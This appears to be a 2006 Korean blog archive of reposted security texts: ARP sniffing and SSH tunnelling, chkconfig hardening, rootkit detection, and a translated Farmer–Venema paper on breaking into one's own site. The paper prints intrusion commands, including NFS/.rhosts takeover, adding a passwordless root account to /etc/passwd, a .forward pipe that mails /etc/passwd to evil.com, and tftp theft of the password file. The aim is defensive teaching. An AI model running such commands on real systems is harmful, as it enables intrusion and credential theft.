이터를 아스키로 변환할 수 있다 물론 아래처럼 깨끗하게 변환은 되지 않지만 파 . pop3.txt
일의 내용을 읽을 수 있다는 것을 확인할 수 있을 것이다 반면에 파일을 변환해 . pop3s.txt
보면 암호화가 되어 거의 어떤 문자인지 알아볼 수 없다는 것을 알 수 있을 것이다.
를 스니핑한 예 # pop3
+OK POP3 test1.tt.co.kr v2001.77 server ready
user user1
+OK User name accepted, password please
pass dkssud
+OK Mailbox open, 2 messages
를 스니핑한 예 #pop3s
E[u@@??Aj
?@.? D57? 霑
뿔 P a?u?8?? ?
ᇹ ? 4?Ti 欠夫
EFv@@??Aj
?@.? w57? 霑
를 이용한 방법에 대해서는 를 참고하기 sslwrap http://www.quiltaholic.com/rickk/sslwrap/
바란다.
의 포트 포워딩 기능을 이용한 암호화 (2) SSH
클라이언트와 서버 연결 구간에는 암호화 통신을 한다는 것을 알고 있다 이 특성을 활 ssh .
용하여 에서 제공하는 포트 포워딩 기능을 이용하면 암호화가 제공되지 않는 프로토콜 ssh
도 쉽게 암호화 전송할 수 있다 쉽게 이야기하면 에서 기존의 서비스를 캡슐로 싸서 . ssh
서비스한다고 생각해도 된다.
포트 포워딩 기능을 이용해 클라이언트와 서버 사이에 암호화를 위한 터널을 구성 ssh ssh
할 수 있는데 이를 구성하기 위한 방법은 로컬포트 포워딩 과 원격포트 포워딩 두 가지 , “ “ ” “
방법이 있다 두 방법 모두 거의 유사한 방법이므로 여기에서는 로컬포트 포워딩 방법에 대 .
해 알아보도록 하자.
클라이언트와 서버간에는 암호화 전송이 되기 때문에 일단 연결을 할 기존의 ssh ssh tcp
서버외에 연결을 할 클라이언트로 사용할 추가적인 한 대의 서버가 더 필요하다 ssh .
아래와 같이 두 대의 서버가 있다고 하자.
서버는 클라이언트 연결을 하여 클라이언트의 연결을 받아 를 이용하여 forward ssh ssh
연결을 포워딩 할 서버이고 서버가 포워딩을 받아 실제로 서비스를 제공할 서 TCP www
버이다.
그림 포트 포워딩서버 구성도 < > ssh
위와 같은 환경에서 하여야 할 일은 먼저 암호화를 할 포트에 대해 터널을 구성하는 ssh
것이다 이는 클라이언트 즉 서버에서 다음과 같은 형식으로 연결을 하면 된 . ( forward) ssh
다.
로컬포트 원격호스트 원격포트 서버호스트 ssh -L : : :SSH
위와 같은 환경에서는 원격 호스트와 서버 호스트가 같으므로 서버에서 단지 SSH forward
와 같이 접속을 하면 된다 아래는 실제 접속 예이다 ssh -L 10110:www:110:www . .
[root@forward /root]# ssh -L 10110:www:110 www
root@www's password:xxxxxx 암호 입력 <---
[root@www /root]#
이 상태에서 와 서버에서 각각 을 해 보면 forward www netstat
서버의 경우 forward
0 *:10110 *:* LISTEN
foirward:47883 www:22 ESTABLISHED
와 같이 번 포트가 리슨하고 있으며 서버에 번 포트로 접속해 있는 상 10110 www 22 ssh
황을 발견할 수 있을 것이다.
그리고 서버의 경우 아래와 같이 서버의 연결이 성립되어 있는 것을 확 www forward ssh
인할 수 있다.
www:22 forward:47883 ESTABLISHED
이 상태에서 외부에서 서버에 연결을 하려면 바로 서버에 번으로 연 www pop3d www 110
결하는 것이 아니라 서버에 번으로 접속을 하면 된다 아래와 같이 forward 10110 .
서버에 번 포트로 접속을 하면 서버가 아니라 서버의 번 forward 10110 forward www 110
포트가 반응하는 것을 확인할 수 있다.
# telnet forward 10110
Trying 211.1.1.2...
Connected to forward.
Escape character is '^]'.
+OK POP3 www v2001.75 server ready
실제로 아웃룩 익스프레스등 메일 프로그램에서도 받는 메일 서버 에 기존의 대 (pop3) www
신 로 입력하고 고급 탭에서도 아래와 같이 기존의 번 포트 대신에 forward 110 10110 “ ”
을 입력한다 그리고 이와 같은 의 포트 포워딩 방식으로 나 서비스도 . ssh smtp telnet, ftp
암호화 전송할 수 있는데 만약 서비스에 대해 기존의 번 대신 와 같이 포워 , smtp 25 10125
딩 하였을 경우에는 아래와 같이 포트를 변경하여 설정하면 된다.
그림 포트 포워딩시 설정예 < > .
이 상태에서 앞에서 했던 방법으로 를 이용하여 스니핑을 해서 포트 포워딩된 패 tcpdump
킷을 캡처해 보면 암호화 전송이 되고 있는 것을 확인할 수 있을 것이다.
마치면서
가 디자인 될 당시에는 네트워크는 그리 복잡하지 않았고 상호간에 신뢰할 수 있었 TCP/IP
기 때문에 그다지 보안을 고려하지 않아 는 그 자체적으로 매우 많은 보안적인 결함 TCP/IP
을 가지고 있다 앞에서 밝힌 것 외에도 다른 많은 보안적 결함이 있으며 이를 이용한 많은 .
공격들이 인터넷상에 존재한다 이 글을 계기로 늘 사용하고 있는 프로토콜이 그 . TCP/IP
자체로 얼마나 보안적인 취약점을 안고 있는지 알 수 있는 계기가 되었기를 바라며 아울러
실제적인 방법이나 기법보다는 그 작동 원리에 대해 조금이나마 알게 되었기를 바란다.
이외 더 많은 정보에 대해서는 아래의 사이트가 도움이 될 것이다.
참고사이트 :
http://packetstorm.decepticons.org/sniffers/
http://www.linuxsecurity.com/resource_files/network_security/sniffing-faq.html
http://www.robertgraham.com/pubs/network-intrusion-detection.html
http://www.certcc.or.kr/paper/tr2000/2000-07/tr2000-07.htm
http://www.ietf.org/rfc/rfc0826.txt?number=826






▶ 원문: http://www.tt.co.kr/~antihong/documents/arp_sniffing.pdf


◆ 가우리정보센터 (GBC)

2006/09/08 22:43 2006/09/08 22:43
이 글에는 트랙백을 보낼 수 없습니다
Hacking  2006/09/08 22:37
리눅스 보안관련 문서 #5 - chkconfig 사용법(부팅시 수행되는 서비스)

1. 본 메뉴얼은 www.besthan.net 웹호스팅에서 서비스를 제공받은 고객님께 제공되는 메뉴얼 입니다.
이 메뉴얼은 저희 홈페이지에서 다시 보실수 있습니다.

2. 본 메뉴얼은 리눅스 서버 호스팅에서 필요한 부분만 요약한 메뉴얼 입니다.

3. 메뉴얼에 설명된 내용중 궁금하시거나, 설명이 잘못되었거나, 이상한 부분은 메일주시기 바랍니다.

자신의 서버를 부팅할 경우 어떤 데몬이 살아있고, 어떤 데몬이 죽어있고, 어떤 데몬을 사용할 수 있는가를
아는것이 해킹을 막을 수 있는 가장 유용한 방법입니다.

chkconfig를 이용하여, 데몬중에 반드시 있어야할 데몬을 남겨두고는 전부 죽이는게 해킹을 방지할 수 있는 지름길
입니다.

#chkconfig --list (/sbin 밑에 위치)
#chkconfig --help (참고)
#chkconfig --level 3 sendmail off (사용방법예)

#chkconfig --list (하면 나오는것들)
xfs 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
anacron 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
apmd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
arpwatch 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
atd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
keytable 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
gpm 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
inet 0:끔 1:끔 2:끔 3:켬 4:켬 5:켬 6:끔
netfs 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
network 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
random 0:끔 1:켬 2:켬 3:켬 4:켬 5:켬 6:끔
ipchains 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
pcmcia 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
kdcrotate 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
kudzu 0:끔 1:끔 2:끔 3:켬 4:켬 5:켬 6:끔
linuxconf 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
lpd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
nfs 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
nfslock 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
identd 0:끔 1:끔 2:끔 3:켬 4:켬 5:켬 6:끔
portmap 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
rstatd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
rusersd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
rwalld 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
rwhod 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
sendmail 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
syslog 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
snmpd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
crond 0:끔 1:끔 2:켬 3:켬 4:켬 5:켬 6:끔
ypbind 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
yppasswdd 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
ypserv 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔
proftpd 0:끔 1:끔 2:끔 3:켬 4:켬 5:켬 6:끔
named 0:끔 1:끔 2:끔 3:끔 4:끔 5:끔 6:끔

이중 켜야할것은 보통 9개정도밖에 안됩니다.
3번레벨을 기준으로, keytable,inet, network,random,kudzu,sendmail,syslog, crond,proftpd 나머지는 off
시켜주는것이 바람직합니다. (자기의 환경에 맞춰서 설정해주시기 바랍니다.)
2006/09/08 22:37 2006/09/08 22:37
이 글에는 트랙백을 보낼 수 없습니다
Hacking  2006/09/08 22:36
출처 블로그 > silverdory의 블로그
원본 http://blog.naver.com/silverdory/20007147439
ADMIN "Safe Machine, Safe Admin" Sat. 2004/11/06
MainIntroductionDocsLinksBoardQandA

rootkit

작성 : 김경애, drizzle@snags.snu.ac.kr

날짜 : 1999년 11월 2일

내용 : rootkit의 특징과 진단 방법에 대해 설명합니다.


차례

  1. rootkit에 대한 설명
  2. rootkit의 특징
  3. rootkit의 진단
  4. 대응 방향

1.rootkit에 대한 설명 /

다른 시스템에 침입하기 위한 프로그램 등이 다양하지만, linux 와 solaris에 설치 가능한 것 중에 rootkit이란 패키지가 있습니다. 원격으로 슈퍼 유저 로그인이 가능할 뿐만 아니라 침입했다는 사실을 숨기는 기능까지 있기 때문에 매우 위험합니다. 98년 12월에 나온 linux rootkit IV가 최신 버젼이며, 이는 다양한 툴들을 제공합니다.그 전의 버젼들은 이에 포함되어 있으므로 생략하기로 하고 이를 기준으로 살펴보기로 합니다.

  • 일반 유저를 슈퍼유저로 만들어주는 chfn, chsh, passwd 등
  • eggdrop 등을 자동으로 돌려주는 crontab의 기능
  • 침입 흔적을 숨겨주는 ls, find, du, ps, pidof, top 등
  • 네트웍 연결을 숨겨주는 ifconfig, netstat, inetd, syslogd, tcpd 등
  • backdoor 기능을 하는 login, rshd 등
  • wtmp, utmp 등을 수정하는 wted, 그리고 lastlog 까지 지우는 z2 등

    이처럼 rootkit은 로그가 남지 않게 하면서 network으로 슈퍼유저 로그인이 가능하며, 위와 같은 파일들을 새로 설치한다 하더라도 fix라는 기능으로 그 파일의 modified time을 바꾸지 않기 때문에 rootkit이라는 사실을 잘 찾아낼 수 없습니다.

    2.rootkit의 특징 /

    rootkit은 가장 기본적인 명령들 - ls, find, ps, ifconfig, netstat 등- 의 파일을 다른 특수 파일들을 참고 하게 하여 특정 사실들을 보이지 않게 하는 용도로 많이 사용됩니다. 기본적으로 컴파일을 하면, 주로 참고하는 파일이 /dev 아래에 만들어지며, sda69*로 시작되는 파일이나, pty*로 시작되는 파일이 default로 설치되는 것으로 보입니다.

    login
    rootkit 패스워드를 알고 있는 어떤 계정도 로그인이 가능합니다. 슈퍼유저로 로그인을 막고 있다 하더라도 "rewt"로 로그인하면 가능합니다. last, w 명령으로 보이지 않고, log도 남지 않습니다.

    ls
    특정 파일이나 디렉토리 등을 보이지 않게 할 수 있습니다. 이는 rootkit 컴파일시 rootkit.h의 설정 파일에서 참고 파일을 지정할 수 있고, default는 /dev/ptyr로 되어 있습니다.

    # more /pytr    chattr    tcp.log    .s    s    ssynk    ptycron    /dev/ptycron    ptyp    /dev/ptyp    ptyq    /dev/ptyq    ptys    /dev/ptys    ptyr    /dev/ptyr
    이처럼 하면, /dev/pty[pqtr] 등의 파일이 보이지 않습니다.

    netstat
    특정 IP address 나 domain name, port 등을 보이지 않게 합니다. 사용 형식은, 다음과 같습니다.

      default data file: /dev/ptyq       type 0: hide uid       type 1: hide local address       type 2: hide remote address       type 3: hide local port       type 4: hide remote port       type 5: hide UNIX socket path
    예를 들어,
    # more /dev/ptyq     0 500                1 128.31            2 128.31.39.20     3 8000            4 6667           5 .term/socket
    uid 가 500인 사용자, 128.31.X.X으로부터(from) 접속, 128.31.39.20으로의(to) 접속, port 8000으로 접속해오거나, port 6667로 다른 호스트에 접속한 것에 대한 내용을 모두 다 숨깁니다. 뿐만 아니라 .term/socket path를 포함한 UNIX socket에 대한 것을 숨기게 합니다.

    ps
    특정 프로세스에 대한 정보를 숨깁니다. default로는 /dev/ptyp의 설정 파일을 참고 합니다.

    # more /dev/ptyp    0 0             1 p0           2 sniffer     3 hack   
    uid 0이 실행시킨 프로세스, tty p0에서 띄운 프로세스, sniffer라는 이름으로 실행하거나, hack이란 단어가 들어간 프로그램이 돌아가는 프로세스에 대한 것을 숨기도록 하는 예입니다.

    syslogd
    특정 문자열을 포함하는 모든 로그를 삭제합니다. 역시 default로 /dev/ptys 파일을 참고합니다.

    # more /dev/ptys    evil.com     123.100.101.202     rshd 
    evil.com , 123.100.101.202, rshd 를 포함하는 모든 로그를 지웁니다.

    3.rootkit의 진단 /

    rootkit 패키지의 내용을 살펴보면, 위에서 말한 ls나 ps 등의 설정 파일들을 default로 /dev 아래에 설치하도록 되어 있습니다. /dev 아래에는 block이나 packet 파일 등 우리가 잘 알지 못하면서 이름이 비슷한 파일들이 ls 로는 찾아볼 수 없도록 많이 있기 때문입니다. 따라서

     # find /dev -type f -print 
    의 명령으로 일반 파일들을 찾았을 때 위에서 본 것과 같은 설정 파일이 있는지 확인해야 합니다. 일반적으로 pty[pqrs]나 sda69*로 시작되는 파일들이 많이 발견되고 있습니다. 그러나 이것도 안전한 방법은 아닌 이유는 find 명령도 rootkit의 일부이기 때문입니다. 따라서 가장 안전한 방법은 무결성이 보장된 파일로 점검하는 것입니다.
    또다른 방법 중의 하나는 ls, ps 등 위에서 언급된 파일들의 내용이 이상한가 살펴보는 것입니다.
     #  strings /usr/bin/ls
    를 실행했을 때 /dev/ptyp 등의 내용이 있다던가 하면 이는 rootkit으로 바꾸어진 ls 라는 것을 알 수 있습니다.
    또 만약 rootkit을 설치할 때, 옵션을 주어 컴파일 했다면,
     # ls -/
    '-/'의 옵션이 에러로 나오는 것이 아니라 ls 명령이 실행되게 되는데, 이것도 rootkit의 결과입니다.
    linux의 경우에는 rootkit을 체크하는 방법이 더 쉽습니다.
     # rpm -Va S.5....T   /bin/ls .M......   /dev/log S.5....T   /usr/bin/find missing    /bin/netstat S.5....T   /sbin/ifconfig SM5....T   /bin/ps SM5....T c /etc/syslog.conf SM5....T   /bin/login
    이처럼 rpm을 이용해서 파일들이 시스템 설치 이후 바뀌었는지를 알 수 있습니다. 자세한 것은 rpm manpage를 참고하시면 됩니다.
    그리고 rootkit에 sniffing, scan의 도구가 함께 들어 있기 때문에, 보통 rootkit을 설치한 침입자라면 이 도구를 사용할 가능성이 높습니다. 따라서 네트웍 트래픽이 정상적인지를 살핌으로써 침입을 감지할 수도 있습니다.

    4.대응방향 /

    rootkit에 대한 완벽한 대응 방향이 있는 것은 아닙니다. 모든 보안의 방법처럼, 평소에 시스템 보안에 신경을 쓸 수 밖에 없습니다. 이는 Document의 Unix Security를 참고하시기 바랍니다.
    만약 rootkit이 설치된 시스템에 대해 새로 설치를 하지 않는다면, 위에서 언급된 파일들을 무결성 진단이 된 파일들로 바꾸어야 합니다. 그리고 crontab 이나 inetd.conf 등을 잘 살펴 backdoor가 있는지 잘 체크해주어야 합니다. 새로 설치하지 않는 이상 backdoor가 남아있다면 다시 재침입당할 가능성이 높을 수 밖에 없습니다.

  • 2006/09/08 22:36 2006/09/08 22:36
    이 글에는 트랙백을 보낼 수 없습니다
    Dan Farmer

    Sun Microsystems
    2550 garcia ave MS PAL1-407
    Mountain View CA 94043
    zen@sun.com

    Wietse Venema

    Eindhoven University of Technology
    P.O. Box 513, 5600 MB
    Eindhoven, NL

    wietse@wzv.win.tue.nl


    개요

    최근 전산망을 통한 침입이 매우 잦아지고 있으며, 이 수법들도 매우 복잡해지는
    수준에 있다. 많은 경우가 패스워드의 문제점에 기인하다고 믿지만 최근 보다
    우수한 침입기법을 이용하는 경우가 많이 발견된다. 이러한 기법들은 잘 발견되기
    어려우므로 아직은 덜 알려져 있는 실정이다.

    보통의 시스템 침입자들의 이미지라고 할 수 있는 단순한 시스템 id 의 반복적인
    시도가 아니라 보다 위험한 경우들이 있다. 최근의 시스템 감사 및 침입도구의
    사용법을 잘 알고 있다든가, 어떤 특정 공격 방법을 수정할 수 있다든가, 또 자신
    이 스스로 프로그램을 만들 수 있다든가 하는 식의 전문 침입자들이 그들이다.
    또한 새로 발견된 시스템의 취약점을 잘 알수 있다든가, 새로운 버그나 취약점들을
    발견하기도 하는데, 이들을 "Uebercracker"라고 한다.


    개요

    이 논문에서는 일반적인 시스템보안에 대한 접근방법을 얘기하는 것이 아니며,
    잠재적인 침입자의 입장에서 "어떻게", "왜"라는 입장에서 접근하고자 한다.
    시스템의 취약점을 찾기위해 불필요한 네트워크 서비스가 도움을 주는 도구이며,
    이러한 서비스들이 운영체제에서 정확하게 동작한다 하도라도 이러한 도구가 될
    수 있는 것이다.

    여기에서는 보다 우수한 침입방법들에 대해 초점을 맞추고, 침입자들이 사용하는
    혹은 시스템의 시험 등을 통해 침입자들을 점검하는 것에 대해 알아 본다. 보통
    시스템관리자들이 간과하기 쉬운 일반적인 공격 이상에 대해 알아보고자 하며,
    어떤 자원이 보호되어야 한다는 것을 잘 알고는 있지만 네트워크나 시스템의 보호
    를 위해 어떤 수준의 평가가 필요한지는 잘 모르고 있다는 점도 알아야 한다.
    침입자들이 어떤 접근을 하려고 하는지를 보임으로서 시스템관리자들이 어떻게
    보안을 세눌 것인지 결정하는데 도움을 주고자 한다.

    이 논문에서는 단순히 시스템의 버그나 보안취약점을 나열하지는 않는다. 이 논문
    의 목적은 어떤 관리자가 자신의 시스템의 보안을 위해 새로운 관점에서 침입
    가능성을 이해시키고자 함이다.

    이 논문에는 4개의 주된 부분으로 나누어진다. 첫째는 개요이며, 두번째 부분은
    침입자들이 어떻게 시스템의 보안 메카니즘에 대해 모르면서 침입할 수 있는지
    그 경향을 알게금 하는 부분인데 실질적인 네트워크의 보안취약점을 어떻게 알아
    내고 정보를 알아내 들어가는가에 대한 구체적인 기법들을 보인다. 여기에서는
    특히 NIS나 NFS 등을 이용한 기법 등에 대해서도 조금 다룰 것이며, 시스템이나
    운영체제에 특정적인 구성문제 등에 대해서도 다루며, 이에 대한 대비책도 보일
    것이다.

    세번째 부분에서는 어떻게 시스템의 보안이 다른 시스템의 무결성에 따라 달라
    지는지 보일 것이며, 이러한 신뢰(Trust)문제는 매우 복잡한 이슈이다.

    네번째 부분에서는 시스템 관리자들이 취해야 할 보안의 기본적인 절차에 대해
    말하고자 한다.

    이 논문의 사례나, 보안 관련 정보, 소프트웨어 등은 이 논문의 마지막에 부록
    에소 보이고 있다.

    이 논문에서 설명된 침입 방법, 기법들은 SATATN(Security Analysis Tool for
    Auditing Networks.) 을 우리는 발표하였다. 이것은 shell, perl, C 등으로 만들
    었으며, 원격지의 시스템에 대해 NIS, finger, NFS, ftp and tftp, rexd 등을
    검사할 수 있다. 뿐만 아니라 잠재적인 보안 문제로서, 잘못된 시스템 구성, 잘
    못된 네트워크 서비스 구성, 시스템이나 네트워크의 잘 알려진 버그 등을 점검
    하게 된다. 이것은 데이타나 잠재적인 보안 문제를 향후 검사하기 위한 전문가
    시스템을 제공한다. 부록 A가 이러한 기능들을 보여주고 있다.

    이 하나의 논문에서 모든 침입방법들을 다 다룰 수는 없으며, 또한 우리의 관심이
    아니다. 사회공학이나 패스워드 Cracking 등이 있으나 가령 패스워드 공격방법에
    대해서는 사실 여기에서도 다루고 있으며, 특히 X Window 공격도 있지만 사실 대
    부분의 침입자들이 이러한 비트맵을 볼 수 있는 단말기등을 가지고 있지 않기 때
    문에 여기에 기술하지 않는다.


    정보를 획득하기

    맨 먼저 무엇을 할 것인가? 먼저 소속한 공격 대상 시스템의 정보를 수집하라.
    이 것을 알 수 있는 방법이 있다. finger, showmount, rpcinfo등을 맨처음 이용할
    수 있을 것이다. 하지만 그밖에도 DNS, whois, sendmail(smtp), ftp, uucp 등의
    여러가지 기법들을 이용할 수 있으며 이러한 정보들은 소속 기관의 전체 네트워크
    침입에 이용될 수 있지만 지금은 우선 단지 특정 목표시스템에 대해 알아본다.

    먼저 finger 명령을 보도록 한다.

    victim % finger @victim.com
    [victim.com]
    Login       Name             TTY Idle     When    Where
    zen      Dr.  Fubar           co   1d  Wed 08:00   death.com

    이것은 하나의 사용자이며, 현재 Idle하므로 아무도 당신의 침입에 대해 신경쓰지
    않을 것이다. 또 다른 전략으로서, "@", "0", "", root, bin, ftp, system, guest,
    demo, manager, 등을 finger하여 보다 많은 정보들을 보기로 한다. 이러한 정보들은
    시스템의 버젼에 따라 다르지만 보통 계정이름과 홈 디렉토리, 마지막 로그인한
    호스트 이름 드을 밝혀 주게 된다.

    여기에 더해 사용자들의 정보를 보기 위해 rusers("-l"옵션으로)를 사용한다.
    이것으로 victim.com 은 다음을 더 보여줄 것이다.

    Login   Home-dir    Shell      Last login, from where
    -----   --------    -----      ----------------------
    root    /           /bin/sh    Fri Nov 5 07:42 on ttyp1 from big.victim.com
    bin     /bin                   Never logged in
    nobody  /                      Tue Jun 15 08:57 on ttyp2 from server.victim.co
    daemon  /                      Tue Mar 23 12:14 on ttyp0 from big.victim.com
    sync    /           /bin/sync  Tue Mar 23 12:14 on ttyp0 from big.victim.com
    zen     /home/zen   /bin/bash  On since Wed Nov  6 on ttyp3 from death.com
    sam     /home/sam   /bin/csh   Wed Nov  5 05:33 on ttyp3 from evil.com
    guest   /export/foo /bin/sh    Never logged in
    ftp     /home/ftp              Never logged in

    SATAN이나 침입자들의 활동을 보는 경험에 비추어 finger 는 매우 위험한 서비스
    이다. 하지만 이것은 다른 데이타와 함께 활용하면 더욱 유용하게 된다.

    예를 들어 showmount 를 실행하여 보자.

    evil % showmount -e victim.com
    export list for victim.com:
    /export                            (everyone)
    /var                               (everyone)
    /usr                               easy
    /export/exec/kvm/sun4c.sunos.4.1.3 easy
    /export/root/easy                  easy
    /export/swap/easy                  easy

    /export/foo 가 완전히 개방되어 있음을 알 수 있다. 뿐만 아니라 이것의 사용자는
    guest의 홈디렉토리이다.  이 경우 "guest" 사용자의 홈디렉토리를 마운트하여
    침입에 성공할 수 있을 것이다. 자신의 시스템에 대응되는 계정도 없으며, root가
    NFS 마운트된 파일시스템의 파일을 수정할 수 없으므로 자신의 시스템이 있는
    패스워드 파일에 "guest" 계정을 만든다. 목표시스템의 "guest" 홈 디렉토리에
    .rhosts 를 만들어 패스워드 없이 로그인할 수 있을 것이다.

    evil # mount victim.com:/export/foo /foo
    evil # cd /foo
    evil # ls -lag
    total 3
       1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
       1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
       1 drwx--x--x  9 10001    daemon       1024 Aug  3 15:49 guest
    evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
    evil # ls -lag
    total 3
       1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
       1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
       1 drwx--x--x  9 guest    daemon       1024 Aug  3 15:49 guest
    evil # su guest
    evil % echo evil.com >> guest/.rhosts
    evil % rlogin victim.com
            Welcome to victim.com!
    victim %

    만약 홈디렉토리가 아닌 사용자 명령어(/usr or /usr/local/bin)디렉토리를 개방하
    였다면, 명령어를 당신의 의도대로 만든 트로이목마 프로그램등으로 대치해 두면
    다음 사용자가 이를 실행하면 당신이 원하는 명령을 목표 시스템에 실행할 수 있다.

    파일 시스템은,

    - 특별히 신뢰하는 클아이언트에만 read/write only 로 개방하며,
    - 가능한 Read-only로 만든다.

    만약 /etc/hosts.equiv 에 "+"를 가지고 있다면(대부분 업체에서는 이것이 디폴트)
    혹은 netgroups 버그(CERT advisory 91:12)의 경우 목표시스템의 패스워드 파일내
    에 있는 계정을 가진 사용자면 패스워드 없이 로그인할 수 있다. "bin" 사용자는
    중요한 디렉토리나 파일을 소유주이므로 목표시스템에 다음 들어갈 경우에는 root
    로 접근할 수 있도록 패스워드 파일을 수정할 수 있다. 

    evil % whoami
    bin
    evil % rsh victim.com csh -i
    Warning: no access to tty; thus no job control in this shell...
    victim %  ls -ldg /etc
    drwxr-sr-x  8 bin      staff        2048 Jul 24 18:02 /etc
    victim %  cd /etc
    victim %  mv passwd pw.old
    victim %  (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
    victim % ^D
    evil % rlogin victim.com -l toor
            Welcome to victim.com!
    victim #

    rsh 을 finger나 who로 보이지 않도록 wtmp나 utmp 시스템 로그를 이용한 어떤
    추적도 남기지 않으므로 시스템에  접근할 수 있다. COPS(부록D) 은 관리자가 아닌
    어떠한 사용자가 주요한 파일에 대해 쓰기권한을 가질 수 있는지 보고한다.
    만약 SunOS 4.x 을 사용한다면 패치 100103 을 이용하여 파일 접근 권한문제를
    해결할 수 있다. 위의 rsh 방법은 적당한 자료를 남기지 않으므로 tcp wrapper
    (부록 D)는 들어오는 접속에 대해 적당한 로그를 남긴다.


    ---------------------------------------------------------------------------
    이제 무엇을 하나? 목표 시스템의 모든 취약점을 다 찾은 것이 아닐 것이다.        
    다시 "finger" 를 이용하여 목표 시스템이 "ftp" 게정을 가지고 있다는 것을 알게
    된다면, 이는 anonymous ftp를 구성하고 있다는 것을 알려주는 것이다.
    anonymous ftp는 잘못 구성됨으로서 쉽게 외부에서 접근 할 수 있게 해준다.
    예를 들어 목표 시스템이 ~ftp/etc 디렉토리에 /etc/passwd 파일 전체 카피를
    가지고 있다면 victim.com의 ftp 계정의 홈디렉토리는 쓰기가 가능해진다.
    이것은 목표시스템에 remote 명령을 실행할 수 있도록 해주는, 예를 들어 전자우편
    을 통해 패스워드 파일을 보내게한다든가 하는 식의, 즉 ftp로 메일이 왔을 때
    명령을 실행하도록 .forward 파일을 만들 수 있는 것이다. 이것은 "vacation"
    프로그램이 메일에 자동 응답하도록 사용하는 파이프의 개념을 이용하는 것이다.

    evil % cat forward_sucker_file
    "|/bin/mail zen@evil.com < /etc/passwd"

    evil % ftp victim.com
    Connected to victim.com
    220 victim FTP server ready.
    Name (victim.com:zen): ftp
    331 Guest login ok, send ident as password.
    Password:
    230 Guest login ok, access restrictions apply.
    ftp> ls -lga
    200 PORT command successful.
    150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
    total 5
    drwxr-xr-x  4 101      1             512 Jun 20  1991 .
    drwxr-xr-x  4 101      1             512 Jun 20  1991 ..
    drwxr-xr-x  2 0        1             512 Jun 20  1991 bin
    drwxr-xr-x  2 0        1             512 Jun 20  1991 etc
    drwxr-xr-x  3 101      1             512 Aug 22  1991 pub
    226 ASCII Transfer complete.
    242 bytes received in 0.066 seconds (3.6 Kbytes/s)
    ftp> put forward_sucker_file .forward
    43 bytes sent in 0.0015 seconds (28 Kbytes/s)
    ftp> quit
    evil % echo test | mail ftp@victim.com

    이제 당신은 단순히 패스워드 파일이 올때 까지 기다리면 되는 것이다.             

    COPS가 Anonymous FTP 가 올바른지 점검할 수 있으며, ftp 매뉴얼 페이지나,        
    COPS의 문서나 코드 혹은 CERT-Advisory 93:10 을 참고하여 올바르게 Anonymous
    FTP를 설치할 수 있도록 한다. ftp 의 취약성은 주요한 파일이나 디렉토리의
    잘못된 소유주 문제에서도 비롯될 수 있으며, 최소한 ~ftp와 ~ftp 아래에 있는
    모든 시스템디렉토리 및 파일의 소유주룰 root로 해야 하며, 기타 어떤 사용자
    에게도 쓰기 권한을 허용해서는 안된다.

    ftp 에 대해서는 예전에도 많이 공격하는 수법의 대상이 된 버그를 이용할 수
    있다.                             

    % ftp -n
    ftp> open victim.com
    Connected to victim.com
    220 victim.com FTP server ready.
    ftp> quote user ftp
    331 Guest login ok, send ident as password.
    ftp> quote cwd ~root
    530 Please login with USER and PASS.
    ftp> quote pass ftp
    230 Guest login ok, access restrictions apply.
    ftp> ls -al / (or whatever)

    만약 이것이 동작된다면 root로 로그인하여 패스워드 파일을 수정하거나 어떤       
    작업도 할 수 있게 된다. 만약 이런 버그를 아직 가지고 있다면 업체나 ftp.uu.net
    에서 새 버젼을 가져와 교체해야 한다.
    기존의 ftp 교체 버젼인 Washington 대학에서 만든 wuarchive ftp도 같은 문제를
    가지고 있으며 1993 4월 8일 이전 버젼을 사용한다면 최신버젼으로 교체해야 한다.
    마지막으로 ftp와 유사한 tftp가 있는데, 패스워드나 다른 인증을 거치지 않는
    방법이므로 inetd.conf에 secure 옵션플래그를 두어 접근을 제한하지 않는다면
    침입자는 어떠한 디렉토리의 어떤 파일에 대해서도 읽기/쓰기가 가능해진다.
    보통 이를 통해 패스워드 파일을 가져와서 /tmp디렉토리에 둘 수 있다.

    evil % tftp
    tftp> connect victim.com
    tftp> get /etc/passwd /tmp/passwd.victim
    tftp> quit

    보안을 위해 가능한 tftp는 사용하지 않는 것이 좋으며, 만약 필요하다면, 공개하는 
    정보만 있는 디렉토리로 접근을 제한한 secure 옵션 프래그를 두어 사용하거나
    chroot wrapper 의 제어하에 사용한다.

